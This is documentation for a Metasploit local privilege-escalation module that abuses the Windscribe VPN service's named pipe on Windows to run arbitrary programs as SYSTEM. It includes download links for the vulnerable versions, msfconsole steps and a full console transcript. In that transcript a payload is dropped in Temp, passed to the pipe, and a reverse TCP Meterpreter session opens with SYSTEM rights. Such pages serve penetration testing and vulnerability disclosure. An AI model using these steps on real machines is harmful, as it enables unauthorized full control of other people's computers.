82 lines
2.6 KiB
Markdown
82 lines
2.6 KiB
Markdown
|
## Description
|
||
|
|
|
||
|
|
The Windscribe VPN client application for Windows makes use of a
|
||
|
|
Windows service `WindscribeService.exe` which exposes a named pipe
|
||
|
|
`\\.\pipe\WindscribeService` allowing execution of programs with
|
||
|
|
elevated privileges.
|
||
|
|
|
||
|
|
Windscribe versions prior to 1.82 do not validate user-supplied
|
||
|
|
program names, allowing execution of arbitrary commands as SYSTEM.
|
||
|
|
|
||
|
|
|
||
|
|
## Vulnerable Application
|
||
|
|
|
||
|
|
This module has been tested successfully on [Windscribe](https://windscribe.com/)
|
||
|
|
version 1.80 and 1.81 on Windows 7 SP1 (x64).
|
||
|
|
|
||
|
|
Download:
|
||
|
|
|
||
|
|
* https://assets.windscribe.com/desktop/win/Windscribe_1.80.exe
|
||
|
|
* https://assets.windscribe.com/desktop/win/Windscribe_1.81.exe
|
||
|
|
|
||
|
|
|
||
|
|
## Verification Steps
|
||
|
|
|
||
|
|
1. Start `msfconsole`
|
||
|
|
2. Get a session
|
||
|
|
3. `use exploit/windows/local/windscribe_windscribeservice_priv_esc`
|
||
|
|
4. `set SESSION <SESSION>`
|
||
|
|
5. `check`
|
||
|
|
6. `run`
|
||
|
|
7. You should get a new *SYSTEM* session
|
||
|
|
|
||
|
|
|
||
|
|
## Options
|
||
|
|
|
||
|
|
**SESSION**
|
||
|
|
|
||
|
|
Which session to use, which can be viewed with `sessions`
|
||
|
|
|
||
|
|
**WritableDir**
|
||
|
|
|
||
|
|
A writable directory file system path. (default: `%TEMP%`)
|
||
|
|
|
||
|
|
|
||
|
|
## Scenarios
|
||
|
|
|
||
|
|
### Windows 7 SP1 (x64)
|
||
|
|
|
||
|
|
```
|
||
|
|
msf5 > use exploit/windows/local/windscribe_windscribeservice_priv_esc
|
||
|
|
msf5 exploit(windows/local/windscribe_windscribeservice_priv_esc) > set session 1
|
||
|
|
session => 1
|
||
|
|
msf5 exploit(windows/local/windscribe_windscribeservice_priv_esc) > set verbose true
|
||
|
|
verbose => true
|
||
|
|
msf5 exploit(windows/local/windscribe_windscribeservice_priv_esc) > check
|
||
|
|
[*] The service is running, but could not be validated.
|
||
|
|
msf5 exploit(windows/local/windscribe_windscribeservice_priv_esc) > set lhost 172.16.191.165
|
||
|
|
lhost => 172.16.191.165
|
||
|
|
msf5 exploit(windows/local/windscribe_windscribeservice_priv_esc) > run
|
||
|
|
|
||
|
|
[*] Started reverse TCP handler on 172.16.191.165:4444
|
||
|
|
[*] Writing payload (283 bytes) to C:\Users\test\AppData\Local\Temp\1OOIoYHTpb.exe ...
|
||
|
|
[*] Sending C:\Users\test\AppData\Local\Temp\1OOIoYHTpb.exe to \\.\pipe\WindscribeService ...
|
||
|
|
[+] Opended \\.\pipe\WindscribeService! Proceeding ...
|
||
|
|
[*] Sending stage (180291 bytes) to 172.16.191.242
|
||
|
|
[*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.242:49365) at 2020-01-31 19:14:31 -0500
|
||
|
|
[-] Failed to delete C:\Users\test\AppData\Local\Temp\1OOIoYHTpb.exe: stdapi_fs_delete_file: Operation failed: Access is denied.
|
||
|
|
|
||
|
|
meterpreter > getuid
|
||
|
|
Server username: NT AUTHORITY\SYSTEM
|
||
|
|
meterpreter > sysinfo
|
||
|
|
Computer : TEST
|
||
|
|
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
|
||
|
|
Architecture : x64
|
||
|
|
System Language : en_US
|
||
|
|
Domain : WORKGROUP
|
||
|
|
Logged On Users : 2
|
||
|
|
Meterpreter : x86/windows
|
||
|
|
meterpreter >
|
||
|
|
```
|
||
|
|
|